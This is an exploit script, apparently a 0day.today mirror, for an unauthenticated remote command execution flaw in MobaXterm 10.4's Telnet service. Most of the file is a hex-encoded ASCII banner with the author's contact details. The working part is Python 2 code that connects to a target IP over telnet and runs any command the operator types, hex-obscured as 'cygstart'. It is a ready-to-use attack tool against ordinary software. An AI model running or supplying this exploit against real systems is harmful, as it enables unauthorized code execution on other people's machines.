MobaXtrem 10.4 Remote Code Execution Exploit

import telnetlib,sys

# Exploit Title: MobaXtrem 10.4 Remote Code Execution
# Date: 11/9/2017
# Exploit Author: Sultan Albalawi 
# Vendor Homepage: http://mobatek.net
# Software Link: http://download.mobatek.net/10420170816103227/MobaXterm_Portable_v10.4.zip
# Version: 10.4
# Tested on: Windows Xp & Windows 7 & 10
# POC : https://www.youtube.com/watch?v=oYdzP0umtFA&feature=youtu.be

# Vulnerability Cause:::
# Telnet service doesn't authinticate for remote conncection which allows attacker to
# pass malicious commands over victim box through protocol. 

print "\x27\x27\x27\x0d\x0a\x20\x20\x20\x20\x20" \
      "\x20\x20\x5c\x20\x20\x20\x2d\x20\x20\x2d\x20" \
      "\x20\x2d\x20\x3c\x73\x65\x72\x76\x65\x72\x3e" \
      "\x20\x20\x2d\x20\x5c\x2d\x2d\x2d\x3c\x20\x2d" \
      "\x20\x2d\x20\x20\x2d\x20\x2d\x20\x20\x2d\x20" \
      "\x20\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a" \
      "\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \
      "\x20\x20\x20\x20\x44\x6f\x63\x5f\x41\x74\x74" \
      "\x61\x63\x6b\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \
      "\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x7c" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a" \
      "\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
      "\x76\x20\x20\x20\x20\x20\x20\x20\x20\x60\x20" \
      "\x60\x2e\x20\x20\x20\x20\x2c\x3b\x27\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x41\x70" \
      "\x50\x2a\x2a\x2a\x2a\x0d\x0a\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x60\x2e\x20\x20\x2c\x27\x2f\x20\x2e\x27" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a" \
      "\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x0d\x0a" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x60\x2e\x20\x58\x20" \
      "\x2f\x2e\x27\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x2a\x20\x20\x20\x20\x20" \
      "\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a\x2a" \
      "\x2a\x2a\x0d\x0a\x20\x20\x20\x20\x20\x20\x20" \
      "\x2e\x2d\x3b\x2d\x2d\x27\x27\x2d\x2d\x2e\x5f" \
      "\x60\x20\x60\x20\x28\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \
      "\x0d\x0a\x20\x20\x20\x20\x20\x2e\x27\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x20" \
      "\x20\x20\x20\x27\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x2a\x2a\x2a\x2a\x2a\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x64" \
      "\x61\x74\x61\x62\x61\x73\x65\x0d\x0a\x20\x20" \
      "\x20\x20\x20\x3b\x53\x65\x63\x75\x72\x69\x74" \
      "\x79\x60\x20\x20\x27\x20\x30\x20\x20\x30\x20" \
      "\x27\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2a" \
      "\x2a\x2a\x4e\x45\x54\x2a\x2a\x2a\x20\x20\x20" \
      "\x20\x20\x20\x20\x7c\x0d\x0a\x20\x20\x20\x20" \
      "\x2c\x20\x20\x20\x20\x20\x20\x20\x2c\x20\x20" \
      "\x20\x20\x27\x20\x20\x7c\x20\x20\x27\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x2a\x2a\x2a" \
      "\x2a\x2a\x2a\x2a\x2a\x2a\x20\x20\x20\x20\x20" \
      "\x20\x20\x5e\x0d\x0a\x20\x2c\x2e\x20\x7c\x20" \
      "\x20\x20\x20\x20\x20\x20\x27\x20\x20\x20\x20" \
      "\x20\x60\x2e\x5f\x2e\x27\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x7c" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x5e\x2d\x2d\x2d" \
      "\x5e\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x2f\x0d\x0a\x20\x3a\x20\x20\x2e\x20\x60\x20" \
      "\x20\x3b\x20\x20\x20\x60\x20\x20\x60\x20\x2d" \
      "\x2d\x2c\x2e\x2e\x5f\x3b\x2d\x2d\x2d\x3e\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x7c\x20\x20" \
      "\x20\x20\x20\x20\x20\x27\x2e\x27\x2e\x27\x5f" \
      "\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x20\x2a\x0d\x0a" \
      "\x20\x20\x27\x20\x60\x20\x20\x20\x20\x2c\x20" \
      "\x20\x20\x29\x20\x20\x20\x2e\x27\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x7c\x5f\x7c\x20\x46\x69\x72\x65" \
      "\x77\x61\x6c\x6c\x20\x29\x0d\x0a\x20\x20\x20" \
      "\x20\x20\x60\x2e\x5f\x20\x2c\x20\x20\x27\x20" \
      "\x20\x20\x2f\x5f\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x7c\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20\x7c" \
      "\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x3b\x20\x2c\x27\x27\x2d\x2c\x3b\x27\x20\x60" \
      "\x60\x2d\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f" \
      "\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x5f\x7c\x0d\x0a" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x60\x60" \
      "\x2d\x2e\x2e\x5f\x5f\x60\x60\x2d\x2d\x60\x20" \
      "\x20\x20\x20\x20\x20\x20\x69\x70\x73\x20\x20" \
      "\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x5e\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x2f\x0d\x0a" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x2d\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x27\x2e\x20\x5f\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2a\x0d\x0a\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x2d\x5f\x5f\x5f\x5f\x5f" \
      "\x5f\x5f\x20\x7c\x5f\x20\x20\x49\x50\x53\x20" \
      "\x20\x20\x20\x20\x29\x0d\x0a\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x7c\x7c\x20\x20\x20\x20" \
      "\x20\x7c\x7c\x0d\x0a\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \
      "\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x53\x75\x6c\x74\x61\x6e\x20" \
      "\x41\x6c\x62\x61\x6c\x61\x77\x69\x0d\x0a\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x68\x74\x74\x70\x73" \
      "\x3a\x2f\x2f\x77\x77\x77\x2e\x66\x61\x63\x65" \
      "\x62\x6f\x6f\x6b\x2e\x63\x6f\x6d\x2f\x70\x65" \
      "\x6e\x74\x65\x73\x74\x33\x0d\x0a\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x61" \
      "\x6c\x62\x61\x6c\x61\x77\x69\x34\x70\x65\x6e" \
      "\x74\x65\x73\x74\x40\x67\x6d\x61\x69\x6c\x2e" \
      "\x63\x6f\x6d\x0d\x0a\x20\x20\x20\x20\x20\x20" \
      "\x20\x20\x20\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d" \
      "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x0d" \
      "\x0a\x27\x27\x27"
def get_set(HOST,cmd):
    try :
      tn = telnetlib.Telnet(HOST)
      bg="\x63\x79\x67\x73\x74\x61\x72\x74"
      tn.write(bg+" ./"+cmd+"\n")
      tn.write(main())
      tn.read_all()
    except KeyboardInterrupt:
      print "[-] Execution stopped ... keyboard interrupt raised"
    except Exception as e:
      pass     
def main():
    if len(sys.argv)==2:
      HOST = sys.argv[1]
      cmd = str(raw_input("cmd> "))
      if "exit" in cmd :
        sys.exit("exiting...")
      else:
        print"Executing => %s"%cmd
        get_set(HOST,cmd)
    else:
      print "Usage: ./"+sys.argv[0]+" <target_ip>"    
if __name__ == '__main__':
      main()

#  0day.today [2018-03-20]  #